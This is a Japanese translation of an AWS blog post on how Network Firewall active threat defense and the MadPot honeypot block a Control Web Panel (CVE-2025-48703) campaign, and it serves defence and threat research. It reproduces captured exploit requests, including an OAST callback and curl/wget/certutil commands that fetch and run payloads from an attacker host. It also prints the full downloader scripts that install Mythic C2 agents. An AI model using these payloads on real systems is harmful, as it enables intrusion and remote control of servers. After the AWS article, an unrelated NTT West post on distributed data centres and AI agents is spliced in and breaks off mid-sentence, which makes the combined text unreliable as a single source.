本ブログは 2026 年 1 月 8 日に公開された AWS Blog “ Real-time malware defense: Leveraging AWS Network Firewall active threat defense ” を翻訳したものです。 サイバー脅威は、従来のセキュリティ防御では対応しきれない速さで進化しています。潜在的なセキュリティ上の問題を抱えるワークロードは、 90 秒以内 に脅威アクターに発見され、3 分以内には悪用の試みが始まります。脅威アクターは攻撃手法を急速に進化させており、新たなマルウェアの亜種、エクスプロイト手法、回避戦術が次々と生まれています。また、インフラストラクチャ (IP アドレス、ドメイン、URL) もローテーションします。ワークロードを効果的に防御するには、脅威データを迅速に保護対策へと落とし込む必要がありますが、インターネット規模で運用する場合、これは容易ではありません。この記事では、 AWS Network Firewall 向けの AWS アクティブ脅威防御 (active threat defense) を使用して、これらの潜在的な脅威を検出・ブロックし、クラウドワークロードを保護する方法を説明します。 アクティブ脅威防御は、 MadPot を通じて収集されたリアルタイムのインテリジェンスを活用して、ネットワーク脅威を検出し、ブロックします。MadPot は、攻撃パターンを能動的に監視するために Amazon が使用しているハニーポットセンサーのネットワークです。アクティブ脅威防御のルールにおいて、スピードは目指すべき目標ではなく、前提となる基本原則です。脅威アクターがマルウェアをホストするための新しいドメインを作成したり、新しいコマンドアンドコントロール (C2) サーバーをセットアップしたりすると、MadPot はその動きをとらえます。MadPot から新しいインテリジェンスを受け取ると、アクティブ脅威防御は 30 分以内にそのインテリジェンスを自動的に変換し、 Amazon GuardDuty による脅威検出と、 AWS Network Firewall による能動的な保護を実現します。 ただし、スピードだけでは十分ではありません。適切な脅威指標を、対応する緩和策に適用する必要もあります。アクティブ脅威防御は、攻撃をあらゆる段階で阻止します。偵察スキャンをブロックし、マルウェアのダウンロードを防ぎ、侵害されたシステムと、それを操る脅威アクターとの間の C2 通信を遮断します。これにより、一部のレイヤーをすり抜ける攻撃でも阻止できる、多層的な防御アプローチが実現します。 アクティブ脅威防御の仕組み MadPot のハニーポットは、クラウドサーバー、データベース、ウェブアプリケーションを模倣しており、脅威アクターが積極的に探す設定ミスやセキュリティ上の欠陥まで再現しています。脅威アクターがおとりに対して攻撃を開始すると、MadPot はハニーポットに対する攻撃ライフサイクル全体を捕捉します。そして、脅威アクターのインフラストラクチャをマッピングし、新たな攻撃手法をとらえ、これまでにない脅威パターンを特定します。さらに AWS は、MadPot での観測結果に基づいてインターネットをより広範囲にスキャンし、類似したフィンガープリントを持つインフラストラクチャも特定しています。 図 1: アクティブ脅威防御の統合の概要 図 1 は、この仕組みを示しています。脅威アクターが MadPot のハニーポットにマルウェアのペイロードを配信すると、AWS は隔離された環境で悪意のあるコードを実行し、マルウェアの動作 (接続先のドメイン、ドロップするファイル、悪用するプロトコル) から侵害の痕跡 (indicators of compromise) を抽出します。この脅威インテリジェンスは、アクティブ脅威防御の自動保護に活用されます。アクティブ脅威防御は、指標を検証してファイアウォールルールに変換し、パフォーマンスへの影響をテストしたうえで、Network Firewall にグローバルにデプロイします。これらすべてを 30 分以内に完了します。また、脅威は常に進化するため、アクティブ脅威防御は脅威アクターのインフラストラクチャの変化を監視し、脅威アクターがドメインをローテーションしたり、IP アドレスを変更したり、戦術を変えたりするたびに、保護ルールを自動的に更新します。このように、アクティブ脅威防御は脅威の進化に合わせて自動的に適応します。 図 2: スイスチーズモデル アクティブ脅威防御は、防御における スイスチーズモデル (図 2 を参照) を採用しています。これは、単独で完璧なセキュリティコントロールは存在しないものの、不完全なレイヤーを複数重ねることで堅牢な保護を実現できるという考え方です。どの防御レイヤーにも穴があります。脅威アクターは IP への直接接続によって DNS フィルタリングを回避でき、暗号化されたトラフィックは HTTP インスペクションをすり抜け、ドメインフロンティングや IP のみの接続は TLS の SNI (Server Name Indication) 分析を回避します。そこでアクティブ脅威防御は、複数のインスペクションポイントにわたって脅威指標を適用します。脅威アクターが 1 つのレイヤーを回避しても、他のレイヤーで検出してブロックできます。MadPot が悪意のあるドメインを特定すると、Network Firewall はそのドメインをブロックするだけでなく、DNS クエリの拒否、HTTP Host ヘッダーのブロック、SNI を使用した TLS 接続の防止、解決された IP アドレスへの直接接続のドロップを行うルールも作成します。スイスチーズのスライスを重ねると穴が一直線に並ぶことはほとんどないのと同様に、アクティブ脅威防御は、脅威アクターが標的に至る完全な経路を見つける可能性を低減します。 アクティブ脅威防御による攻撃キルチェーンの阻止 ここでは、アクティブ脅威防御がこのスイスチーズアプローチによって、攻撃ライフサイクル全体にわたり脅威アクターをどのように阻止するかを見ていきましょう。図 3 は、脅威アクターが標的を侵害し、悪意のあるアクティビティのために永続的な制御を確立する際の攻撃手法の例を示しています (詳細は以降のセクションで説明します)。現代の攻撃では、あらゆる段階でネットワーク通信が必要になります。アクティブ脅威防御は、まさにその通信に対して多層的な防御を構築します。この攻撃フローは、各段階で悪意のある通信を傍受してブロックできる、ネットワークレイヤーのセキュリティコントロールの重要性を示しています。こうしたコントロールがあれば、初期の脆弱性が存在する場合でも、侵害の成立を防ぐことができます。 図 3: OAST 手法を使用した攻撃シナリオのフローの例 ステップ 0: インフラストラクチャの準備 攻撃を開始する前に、脅威アクターは運用インフラストラクチャをプロビジョニングします。例えば、 OAST (out-of-band application security testing) のコールバックエンドポイントのセットアップがこれに当たります。OAST は、脅威アクターが別の通信チャネルを通じてエクスプロイトの成功を確認するために使用する偵察手法です。また、被害者に感染させるペイロードをホストするマルウェア配信サーバーや、侵害したシステムを管理するための C2 サーバーもプロビジョニングします。脅威アクターがおとりシステムに対してこのインフラストラクチャを使用すると、MadPot のハニーポットがそれを検出し、その指標をアクティブ脅威防御の保護ルールに取り込みます。 ステップ 1: 標的の特定 脅威アクターは、自動化されたインターネットスキャンや、アンダーグラウンドマーケットでの標的リストの購入によって、潜在的な被害者のリストを作成します。探しているのは、脆弱なソフトウェアを実行しているワークロード、公開されたサービス、よくある設定ミスなどです。MadPot のハニーポットシステムでは、潜在的な脅威アクターとのこうしたやり取りが毎日 7 億 5,000 万件以上発生しています。新しい MadPot センサーは 90 秒以内に発見されます。こうした可視性により、通常であれば見過ごされてしまうパターンが明らかになります。アクティブ脅威防御は偵察そのものを阻止するわけではありませんが、MadPot の可視性を活用して後続の段階を阻止します。 ステップ 2: 脆弱性の確認 脅威アクターは、エクスプロイトのペイロード内に OAST コールバックの仕組みを埋め込み、標的ワークロードの脆弱性を確認しようとします。例えば、 http://malicious-callback[.]com/verify?target=victim のような悪意のある URL を、ウェブフォーム、HTTP ヘッダー、API パラメータ、その他の入力フィールドに挿入します。正規のセキュリティスキャナーでも使われている OAST ドメイン名を使用する脅威アクターもいれば、検出を回避するために独自に用意したドメインを使用する脅威アクターもいます。次の表は、過去 90 日間に脅威アクターが OAST リンクを使用して MadPot に対して悪用を試みた脆弱性の例 18 件を示しています。 CVE ID 脆弱性名 CVE-2017-10271 Oracle WebLogic Server のデシリアライゼーションによるリモートコード実行 (RCE) CVE-2017-11610 Supervisor XML-RPC の認証バイパス CVE-2020-14882 Oracle WebLogic Server コンソールの RCE CVE-2021-33690 SAP NetWeaver のサーバーサイドリクエストフォージェリ (SSRF) CVE-2021-44228 Apache Log4j2 の RCE CVE-2022-22947 VMware Spring Cloud gateway の RCE CVE-2022-22963 VMware Tanzu Spring Cloud function の RCE CVE-2022-26134 Atlassian Confluence Server および Data Center の RCE CVE-2023-22527 Atlassian Confluence Data Center および Server のテンプレートインジェクションの脆弱性 CVE-2023-43208 NextGen Healthcare Mirth connect の RCE CVE-2023-46805 Ivanti Connect Secure および Policy Secure の認証バイパスの脆弱性 CVE-2024-13160 Ivanti Endpoint Manager (EPM) の絶対パストラバーサルの脆弱性 CVE-2024-21893 Ivanti Connect Secure、Policy Secure、Neurons の SSRF の脆弱性 CVE-2024-36401 OSGeo GeoServer GeoTools の eval インジェクションの脆弱性 CVE-2024-37032 Ollama API サーバーのパストラバーサル CVE-2024-51568 CyberPanel の RCE CVE-2024-8883 Keycloak のリダイレクト URI 検証の脆弱性 CVE-2025-34028 Commvault Command Center のパストラバーサルの脆弱性 ステップ 3: OAST コールバック 脆弱なワークロードがこれらの悪意のあるペイロードを処理すると、脅威アクターの OAST 監視サーバーに対してコールバック接続を開始しようとします。通常であれば、脅威アクターはこのコールバックシグナルによってエクスプロイトの成功を確認でき、さらに侵害されたワークロード、脆弱性の種類、攻撃を進める経路に関するインテリジェンスも得られます。アクティブ脅威防御は、この時点で攻撃チェーンを断ち切ります。MadPot は悪意のあるドメインまたは IP アドレスを特定し、アクティブ脅威防御の拒否リストに追加します。脆弱な標的が脅威アクターの OAST エンドポイントへのネットワーク呼び出しを実行しようとすると、アクティブ脅威防御を有効にした Network Firewall がアウトバウンド接続をブロックします。エクスプロイト自体は成功するかもしれませんが、成功の確認が得られなければ、脅威アクターはどの標的に攻撃を進めるべきか判断できず、攻撃は停滞します。 ステップ 4: マルウェア配信の準備 脆弱な標的を特定した脅威アクターは、その脆弱性を悪用して、永続的なアクセスを確立するためのマルウェアを配信します。次の表は、過去 90 日間に脅威アクターがマルウェアを配信するために MadPot に対して悪用を試みた 20 件の脆弱性を示しています。 CVE ID 脆弱性名 CVE-2017-12149 Jboss Application Server の RCE CVE-2020-7961 Liferay Portal の RCE CVE-2021-26084 Confluence Server および Data Center の RCE CVE-2021-41773 Apache HTTP サーバーのパストラバーサルおよび RCE CVE-2021-44228 Apache Log4j2 の RCE CVE-2022-22954 VMware Workspace ONE access および identity manager の RCE CVE-2022-26134 Atlassian Confluence Server および Data Center の RCE CVE-2022-44877 Control Web Panel または CentOS Web Panel の RCE CVE-2023-22527 Confluence Data Center および Server の RCE CVE-2023-43208 NextGen Healthcare Mirth Connect の RCE CVE-2023-46604 Java OpenWire プロトコルマーシャラーの RCE CVE-2024-23692 Rejetto HTTP ファイルサーバーの RCE CVE-2024-24919 Check Point セキュリティゲートウェイの RCE CVE-2024-36401 GeoServer の RCE CVE-2024-51567 CyberPanel の RCE CVE-2025-20281 Cisco ISE および Cisco ISE-PIC の RCE CVE-2025-20337 Cisco ISE および Cisco ISE-PIC の RCE CVE-2025-24016 Wazuh の RCE CVE-2025-47812 Wing FTP の RCE CVE-2025-48703 CWP の RCE ステップ 5: マルウェアのダウンロード 侵害された標的は、脅威アクターの配信サーバーからマルウェアのペイロードをダウンロードしようとしますが、ここでもアクティブ脅威防御が介入します。マルウェアをホストするインフラストラクチャは、ドメイン、URL、IP アドレスのいずれであっても、既に MadPot によって特定され、Network Firewall によってブロックされています。マルウェアが TLS エンドポイント経由で配信される場合、アクティブ脅威防御は、TLS ハンドシェイク中に SNI を検査するルールによって、トラフィックを復号することなく悪意のあるドメインを特定してブロックします。マルウェアが TLS エンドポイント以外から配信される場合や、お客様が Network Firewall の TLS インスペクション機能 を有効にしている場合は、アクティブ脅威防御のルールが URL 全体と HTTP ヘッダーを検査し、コンテンツベースのルールを適用したうえで、正当なトラフィックを再暗号化して転送します。マルウェアの配信と実行が成功しなければ、脅威アクターは制御を確立できません。 ステップ 6: C2 接続 仮に何らかの方法でマルウェアが配信された場合、マルウェアは脅威アクターの C2 サーバーに接続して指示を受け取ろうとします。この時点で、アクティブ脅威防御の別のレイヤーが作動します。アクティブ脅威防御は、Network Firewall において複数のプロトコルレイヤーにまたがる仕組みを実装しており、C2 通信が継続的な悪意のある活動につながる前に特定してブロックします。DNS レイヤーでは、Network Firewall は既知の悪意のある C2 ドメインに対する名前解決リクエストをブロックし、マルウェアが接続先を見つけられないようにします。TCP レイヤーでは、C2 の IP アドレスとポートへの直接接続をブロックします。TLS レイヤーでは、ステップ 5 で説明したように、SNI インスペクションとフィンガープリント手法 (有効にしている場合は完全な復号) を使用して、暗号化された C2 トラフィックを特定します。Network Firewall は既知の悪意のある C2 インフラストラクチャへのアウトバウンド接続をブロックし、脅威アクターが感染したワークロードを制御できないようにします。侵害されたワークロード上にマルウェアが存在していても、隔離されて脅威アクターと通信できないため、実質的に無力化されます。また、C2 への接続の試みに対しては Amazon GuardDuty で脅威の検出結果が作成されるため、インシデント対応のワークフローを開始できます。次の表は、過去 90 日間に MadPot と AWS によるインターネット全体のスキャンで観測された C2 フレームワークの例です。 C2 フレームワーク Adaptix Metasploit AsyncRAT Mirai Brute Ratel Mythic Cobalt Strike Platypus Covenant Quasar Deimos Sliver Empire SparkRAT Havoc XorDDoS ステップ 7: 攻撃目的の阻止 C2 への接続ができなければ、脅威アクターはデータを盗むことも、認証情報を外部に持ち出すこともできません。アクティブ脅威防御の多層的なアプローチでは、脅威アクターはすべてのステップで成功しなければならない一方、お客様はいずれか 1 つの段階をブロックするだけでアクティビティを阻止できます。この多層防御 (defense-in-depth) のアプローチにより、一部の防御レイヤーに脆弱性がある場合でもリスクを低減できます。アクティブ脅威防御のアクションは、 Network Firewall のアラートログ で追跡できます。 実際の攻撃シナリオ – CVE-2025-48703 を悪用する攻撃キャンペーンの阻止 2025 年 10 月、AWS の MadPot ハニーポットは、Control Web Panel (CWP) を標的とした攻撃キャンペーンを検出し始めました。CWP は、ホスティングプロバイダーやシステム管理者が使用するサーバー管理プラットフォームです。脅威アクターは、CWP のリモートコード実行の脆弱性である CVE-2025-48703 を悪用して、 Mythic C2 フレームワーク をデプロイしようとしていました。Mythic は、本来は正当なレッドチーム活動のために設計されたオープンソースの C2 プラットフォームですが、脅威アクターが悪意のあるキャンペーンに利用することもあります。エクスプロイトの試みは IP アドレス 61.244.94[.]126 から発信されており、この IP アドレスには VPN 出口ノードと一致する特徴が見られました。 脅威アクターは、脆弱な標的を確認するために、CWP のファイルマネージャーの脆弱性を悪用してオペレーティングシステムのコマンドを実行しようとしました。MadPot のハニーポットは、次のような whoami コマンドを使用したエクスプロイトの試みを受信しました。 POST /nginx/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:49153 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 455 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/nginx ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" whoami /priv ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- このキャンペーンでは脆弱性の確認に OAST コールバックは使われていませんでしたが、MadPot では、次の例のように OAST コールバックを使用した同様の CVE-2025-48703 のエクスプロイトの試みも観測されています。 POST /debian/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:8085 user-agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 content-length: 503 content-type: multipart/form-data; boundary=z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 accept-encoding: gzip connection: close --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="fileName" .bashrc --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="currentPath" /home/debian --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="recursive" --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="t_total" ping d4c81ab7l0phir01tus0888p1xozqw1bs.oast[.]fun --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5-- 脆弱なシステムを特定すると、攻撃は直ちにペイロードの配信へと移りました。MadPot は、Linux と Windows の両方のワークロードを標的とした感染の試みを捕捉しました。Linux の標的に対しては、脅威アクターは curl と wget を使用してマルウェアをダウンロードしようとしました。 POST /cwp/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:5704 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 539 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/cwp ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" (curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt||wget -T180 -q hxxp://vc2.b1ack[.]cat:28571/slt)|sh ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- Windows システムに対しては、Microsoft の certutil.exe ユーティリティを使用してマルウェアをダウンロードしようとしました。 POST /panel/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:49153 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 557 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/panel ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- MadPot のハニーポットは、こうしたエクスプロイトの試みを観測すると、脆弱なサーバーと同じように悪意のあるペイロードをダウンロードします。MadPot はその観測結果を基に、複数の分析レイヤーで脅威指標を抽出します。 レイヤー 1 – MadPot は、マルウェアをホストしているステージング URL と、その背後にある IP アドレスを特定しました。 hxxp://vc2.b1ack[.]cat:28571/slt (Linux スクリプト, SHA256: bdf17b3047a9c9de24483cce55279e62a268c01c2aba6ddadee42518a9ccddfc) hxxp://196.251.116[.]232:28571/slt hxxp://vc2.b1ack[.]cat:28571/swt (Windows スクリプト, SHA256: 6ec153a14ec3a2f38edd0ac411bd035d00668a860ee0140e087bb4083610f7cf) hxxp://196.251.116[.]232:28571/swt レイヤー 2 – MadPot がマルウェアを分析した結果、Windows バッチファイル ( SHA256: 6ec153a1... ) には、システムアーキテクチャを判別して適切な Mythic エージェントをダウンロードするロジックが含まれていることが判明しました。 @echo off setlocal enabledelayedexpansion set u64="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w64&stage=true" set u32="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w32&stage=true" set v="C:\Users\Public\350b0949tcp.exe" del %v% for /f "tokens=*" %%A in ('wmic os get osarchitecture ^| findstr 64') do ( set "ARCH=64" ) if "%ARCH%"=="64" ( certutil.exe -urlcache -split -f %u64% %v% ) else ( certutil.exe -urlcache -split -f %u32% %v% ) start "" %v% exit /b 0 Linux スクリプト ( SHA256: bdf17b30... ) は、x86_64、i386、i686、aarch64、armv7l の各アーキテクチャに対応していました。 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin l64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l64&stage=true" l32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l32&stage=true" a64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a64&stage=true" a32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a32&stage=true" v="43b6f642tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') # [additional architecture checks] fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) レイヤー 3 – MadPot は、これらのステージングスクリプトと、そこで参照されているインフラストラクチャを分析することで、Mythic C2 フレームワークのエンドポイントを示す追加の脅威指標を特定しました。 ヘルスチェックエンドポイント 196.251.116[.]232:7443 および vc2.b1ack[.]cat:7443 HTTP リスナー 196.251.116[.]232:80 および vc2.b1ack[.]cat:80 MadPot の分析から 30 分以内に、この攻撃インフラストラクチャのすべてのレイヤーを対象とした保護ルールが、世界中の Network Firewall のインスタンスにデプロイされました。その結果、脆弱な CWP 環境もこのキャンペーンから保護された状態が保たれました。エクスプロイトが curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt または certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt を実行しようとしても、インフラストラクチャが稼働している間は、Network Firewall が vc2.b1ack[.]cat ドメインの名前解決と 196.251.116[.]232:28571 への接続の両方をブロックしていたためです。脆弱なアプリケーションがエクスプロイトのペイロードを実行した可能性はありますが、Network Firewall はネットワークレイヤーでマルウェアのダウンロードをブロックしました。 仮にステージングスクリプトが別の手段で標的に到達したとしても、アーキテクチャ固有の URL がブロックされているため、Mythic エージェントのバイナリをダウンロードしようとした時点で失敗していたはずです。さらに、まったく別の感染経路で Mythic エージェントのバイナリが配信され、実行されたとしても、C2 を確立することはできなかったはずです。マルウェアがポート 7443 の Mythic フレームワークのヘルスエンドポイントや、ポート 80 の HTTP リスナーに接続しようとしても、Network Firewall がネットワーク境界でそれらの接続を遮断していたはずだからです。 このシナリオは、アクティブ脅威防御のインテリジェンスパイプラインが、脅威アクティビティのさまざまな段階をどのように阻止するかを示しています。これこそがスイスチーズモデルの実践です。ある防御レイヤー (例えば OAST のブロック) が適用できない場合でも、後続のレイヤー (ホストされたマルウェアのダウンロード、マルウェアのネットワーク動作、ボットネットインフラストラクチャの特定) が重層的に保護します。MadPot による攻撃の分析では、各レイヤーで追加の脅威指標が明らかになり、それらが攻撃チェーンのさまざまな段階でお客様を保護します。 つまり、パッチ未適用の CWP 環境を使用している GuardDuty のお客様は、アクティブ脅威防御で追跡している脅威指標に該当する通信先との通信が試みられていれば、脅威の検出結果を受け取っていたはずです。また、アクティブ脅威防御を使用している Network Firewall のお客様の場合、パッチ未適用の CWP ワークロードは、この CVE が 11 月 4 日に CISA の Known Exploited Vulnerabilities カタログ に追加されるよりも前から、このキャンペーンに対して自動的に保護されていたはずです。 まとめ Network Firewall 向けの AWS アクティブ脅威防御は、MadPot のインテリジェンスと多層的な保護を活用して攻撃者のキルチェーンを阻止し、セキュリティチームの運用負担を軽減します。ルールが自動でデプロイされるため、アクティブ脅威防御は MadPot が新たな脅威を検出してから 30 分以内に多層的な防御を構築します。Amazon GuardDuty のお客様は、アクティブ脅威防御が特定した悪意のあるインフラストラクチャとワークロードが通信しようとすると、脅威の検出結果を自動的に受け取ります。また、AWS Network Firewall のお客様は、アクティブ脅威防御マネージドルールグループを使用して、これらの脅威を能動的にブロックできます。使用を開始するには、 AWS Network Firewall での Amazon 脅威インテリジェンスを活用したセキュリティポスチャの強化 を参照してください。   この記事に関するご質問は、 AWS サポートにお問い合わせ ください。   Rahi Patel Rahi は、ネットワーキングを専門とする AWS の Startups Technical Account Manager です。グローバルな AWS デプロイ全体でパフォーマンスを最適化するクラウドネットワーキングソリューションを設計しています。以前は Cisco Meraki でネットワークエンジニアを務めていました。サンノゼ州立大学で工学の修士号を取得しています。仕事以外では、テニスとピックルボールを楽しんでいます。 Paul Bodmer Paul は AWS の Security Engineering Manager で、Perimeter Protection Threat Research Team を率いています。AWS がディセプション技術を活用し、AWS の社内外のセキュリティサービス向けに実用的な脅威インテリジェンスを生み出すための戦略的な方針の策定を担当しています。 Nima Sharifi Mehr Nima は AWS の Principal Security Engineer で、Perimeter Protection Threat Research Team の技術的な方向性を統括しています。また、MadPot の開発者でもあります。MadPot は現在、Amazon のサイバーセキュリティ戦略の柱として社内のさまざまなチームで活用されており、お客様とパートナーを保護するとともに、世界のサイバーセキュリティ水準の向上に貢献しています。 Maxim Raya Maxim は AWS の Security Specialist Solutions Architect です。お客様が AWS 環境のセキュリティとコンプライアンスに確信を持てるよう支援し、クラウドトランスフォーメーションの加速をサポートしています。 Santosh Shanbhag Santosh は、セキュリティ、データ保護、コンプライアンスを専門とする経験豊富なプロダクトリーダーです。AWS では、AWS Network Firewall やアクティブ脅威防御をはじめとするネットワークおよびアプリケーションセキュリティサービスを通じて、ワークロードの保護に注力しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

はじめに NTT西日本の芳と鈴木です。 本記事では、私たちが JANOG58 で発表した「 人のための自動化が AI エージェント運用への道を拓く ― IOWN APN × VXLAN/EVPN をまたぐマルチレイヤ抽象化の実践 」の内容をご紹介します。複数拠点にまたがる分散データセンタ（分散DC）の運用は、光（IOWN APN）と IP/Ethernet（VXLAN/EVPN）の両方に精通した少数の高スキル人材に依存しがちです。私たちはこの属人化を スキルレス基盤 で解消し、さらにその基盤が AI エージェントによる自律運用の実行基盤にもなる という仮説を、開発と検証を通じて確かめました。ネットワーク運用の自動化や AI エージェント活用に関心のある方に、その考え方と手応えをお届けします。 本記事は 2026 年 9 月時点の情報に基づきます。 対象読者 本記事が想定する対象読者は以下の通りです。 VXLAN/EVPN、光伝送の基礎、REST/NETCONF の概念をお持ちだと、より読み進めやすい内容です。 ネットワーク運用の属人化・スキル依存に課題を感じている方 IOWN APN や VXLAN/EVPN Multi-site など、マルチレイヤ・マルチベンダ環境の運用に携わっている方 ネットワーク自動化やオーケストレーション（Cisco NSO など）に取り組んでいる方 MCPやAgent Skills（SKILL.md、以下Skills）を活用したAIエージェント運用に興味がある方 目次 はじめに 対象読者 目次 1. 背景・目的 2. 分散DC運用の課題 ― マルチレイヤ・マルチベンダ・可視化分断 3. 解決アプローチ ― コントローラAPIによるスキルレス基盤 マルチレイヤ制御統合API トランザクションの一括管理 情報取得一元化API 4. スキルレス基盤はAI エージェントの実行基盤になるか 5. 比較検証 ― 属人/スキルレス/AI エージェントの 3 パターン 6. AI エージェントデモ ― NSO × MCP × Skills 7. まとめ 執筆者 参考資料・出典 商標 免責事項 1. 背景・目的 近年、生成 AI をはじめとする計算需要の高まりにより、1 拠点の DC では賄いきれない規模の GPU リソースが求められています。私たちは、複数拠点の DC を VXLAN/EVPN Multi-site と IOWN APN（All-Photonics Network）で結び、CPU・GPU・メモリ・分散ストレージを拠点を越えて自由に活用できる 分散DCアーキテクチャ の社会実装をめざしています。テナントやサービス、ワークロードごとに、VXLANオーバーレイから光波長パスまで含めた専用のネットワークパスをオンデマンドで払い出す、End-to-End のきめ細かな制御が狙いです。 分散DC全体図-複数拠点をVXLAN/EVPNとAPNで繋ぐアーキテクチャ 一方で、この基盤を日常的に運用しているのは少数のメンバーです。求められるスキルの幅は極めて広く、 APN レイヤ ：波長・周波数、光送信/受信レベル、FEC Ethernet レイヤ ：ブリッジング、RoCEv2、VLAN IP レイヤ ：ルーティング、VXLAN/EVPN、Multi-site といった、複数レイヤの深い知識が同時に必要になります。この「厳しい運用の現実」を出発点に、私たちは 属人依存 → スキルレス → 自律運用 という段階を描きました。まず一般スキルの運用者でも扱えるスキルレス基盤を開発し、その先でAI エージェントによる自律運用につなげることが、本取り組みの目的です。 2. 分散DC運用の課題 ― マルチレイヤ・マルチベンダ・可視化分断 分散DCの運用が難しいのは、単体でも複雑な設定が 組み合わさる ことで、さらに難易度が跳ね上がるためです。課題は大きく 3 つの軸に整理できます。 マルチレイヤ ：光波長パスの設定（物理構成に依存するパラメータや光レイヤ特有の概念）と、VXLAN オーバーレイの設定、そして両者をマッピングする分散 DC 特有の設定が、それぞれ別々の理解と対応を要求します。 マルチベンダ ：ベンダごとに設定方法が分かれ、一括変更ができず、自動ロールバックも効きません。設定順序への依存もあり、途中で失敗すると復旧が複雑になります。 可視化分断 ：設定情報やライブステータスがレイヤ・ベンダごとにサイロ化し、End-to-End 視点での状態把握や迅速な障害分析が困難です。 これらを解消する鍵として、私たちは ①マルチレイヤ制御統合API、②トランザクションの一括管理、③情報取得一元化API の 3 点を柱に据えました。 3. 解決アプローチ ― コントローラAPIによるスキルレス基盤 3 つの柱を、それぞれコントローラ API として実装しました。ここでは実装の詳細ではなく、考え方（抽象化の狙い）を中心にご紹介します。 3つの課題とスキルレス基盤の3要素 マルチレイヤ制御統合API 光波長パスと VXLAN オーバーレイの設定を抽象化し、共通モデルで API 化しました。運用者（および AI）は、物理構成に依存する煩雑なパラメータを意識することなく、 「どの拠点間を、どのインタフェースで、どう結ぶか」といった少数のパラメータ を指定するだけで設定できます。物理構成情報はコントローラ側の構造化データベースに保持し、API 側でマッピングすることでシンプル化を実現しています。 トランザクションの一括管理 複数ベンダ・複数機器にまたがる設定は、コントローラ側でトランザクションの一貫性を確保します。 機器設定は1 台ずつ順番に実施し、すべての機器設定が完了するまでトランザクションを終了させません。途中でエラーが発生した場合は、それまでに設定した機器を逆順でロールバック します。これにより、設定途中の不整合や、部分失敗時の復旧の複雑さを回避します。 情報取得一元化API 設定情報（End-to-End の光波長パスやオーバーレイ構成、トポロジ）と、各機器のライブステータス（光の送受信パワー、インタフェース情報、統計、アラーム、L2/L3 の状態など）を、 レイヤやベンダに依存しない共通の API から一元的に取得 できるようにしました。取得方法の違いをコントローラが吸収するため、利用者は統一されたインタフェースで End-to-End の状態を把握できます。 4. スキルレス基盤はAI エージェントの実行基盤になるか ここが本取り組みの中心となる仮説です。 人のために用意した「シンプルさ」は、そのまま AI エージェントの推論エラーリスクを下げる のではないか、という問いです。 AI エージェントに運用を任せる際に懸念されるのは、パラメータの誤り、API の取り違え、設定対象機器や順序の間違い、取得情報の誤りといった「判断ミス」です。スキルレス基盤の 3 